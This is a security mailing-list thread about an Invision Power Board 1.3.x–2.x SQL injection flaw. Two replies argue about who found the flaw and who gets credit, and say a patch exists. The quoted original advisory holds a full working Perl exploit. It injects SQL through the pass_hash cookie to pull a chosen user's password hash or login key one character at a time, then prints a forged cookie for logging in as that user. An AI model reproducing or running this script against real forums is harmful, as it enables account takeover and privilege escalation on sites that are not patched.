Re: [HSC Security Group] Invision PowerBoard 1.3.x - 2-x Exploit

[augustusx00@gmail.com]

Isn't that the same code as this, but with the credits ripped?

http://www.milw0rm.com/id.php?id=1013

Also, your "discovery" is _OLD_ news.

http://forums.invisionpower.com/inde...owtopic=168016

I see hackerscenter.com uses Invision Power Board. If you guys are just now finding out about this exploit then you may want to start investigating your server logs. Anyway, thanks hackerscenter.com for another l33t advisory! :-D

[GulfTech Security Research]

Hello,

I am writing to clear up any confusion here for both the end users and
the readers.

1) This vulnerability was discovered by me (James Bercegay), reported,
and fixed several months ago.
2) If you have applied the necessary Invision Power Board updates as
outlined here
http://forums.invisionpower.com/inde...owtopic=168016
Then you are 100% immune to this "exploit" Indeed this only
affects 2.0.3 and earlier.
3) I believe this is the link to the real BID for this issue
http://www.securityfocus.com/bid/13529

I have no idea how the confusion came about in regards to this issue,
but hopefully this clears up any questions the Invision Power Board
users reading this post may have.

Regards,

James

P.S. Yes, it does seem agustus00 was right when he said the exploit code
was copied.

http://downloads.securityfocus.com/v...ion_sql_poc.pl

zinho@hackerscenter.com wrote:

>Hackers Center Security Group (http://www.hackerscenter.com/)
>Zinho's Security Advisory
>
>Desc: Invision PowerBoard 1.3.x - 2.x Privilege escalation through SQL injection
>Risk: High
>
>
>hacky0u from http://www.h4cky0u.org kindly reported to me an exploit working against 1.3.x and 2.x versions of Invision Power board.
>
>I've coded a quickfix to patch it:
>http://www.hackerscenter.com/archive/view.asp?id=3812
>
>
>
>This is the exploit (Full credit to h4cky0u for it):
>#!/usr/bin/perl -w
>
>################################################# #################
># This one actually works Just paste the outputted cookie into
># your request header using livehttpheaders or something and you
># will probably be logged in as that user. No need to decrypt it!
># Exploit coded by "ReMuSOMeGa & Nova" and http://www.h4cky0u.org
>################################################# #################
>
>use LWP::UserAgent;
>
>$ua = new LWP::UserAgent;
>$ua->agent("Mosiac 1.0" . $ua->agent);
>
>if (!$ARGV[0]) {$ARGV[0] = '';}
>if (!$ARGV[3]) {$ARGV[3] = '';}
>
>my $path = $ARGV[0] . '/index.php?act=Login&CODE=autologin';
>my $user = $ARGV[1]; # userid to jack
>my $iver = $ARGV[2]; # version 1 or 2
>my $cpre = $ARGV[3]; # cookie prefix
>my $dbug = $ARGV[4]; # debug?
>
>if (!$ARGV[2])
>{
>print "..By ReMuSoMeGa & Nova. Usage: ipb.pl http://forums.site.org [id] [ver 1/2]. ";
>exit;
>}
>
>my @charset = ("0","1","2","3","4","5","6","7","8","9","a","b"," c","d","e","f");
>
>my $outputs = '';
>
>for( $i=1; $i < 33; $i++ )
>{
>for( $j=0; $j < 16; $j++ )
>{
>my $current = $charset[$j];
>my $sql = ( $iver < 2 ) ? "99%2527+OR+(id%3d$user+AND+MID(password,$i,1)%3d% 2527$current%2527)/*" :
>"99%2527+OR+(id%3d$user+AND+MID(member_login_key, $i,1)%3d%2527$current%2527)/*";
>my @cookie = ('Cookie' => $cpre . "member_id=31337420; " . $cpre . "pass_hash=" . $sql);
>my $res = $ua->get($path, @cookie);
>
># If we get a valid sql request then this
># does not appear anywhere in the sources
>$pattern = '<title>(.*)Log In(.*)</title>';
>
>$_ = $res->content;
>
>if ($dbug) { print };
>
>if ( !(/$pattern/) )
>{
>$outputs .= $current;
>print "$current ";
>last;
>}
>
>}
>if ( length($outputs) < 1 ) { print "Not Exploitable! "; exit; }
>}
>print "Cookie: " . $cpre . "member_id=" . $user . ";" . $cpre . "pass_hash=" . $outputs;
>exit;
>
># www.h4cky0u.org
>
>
>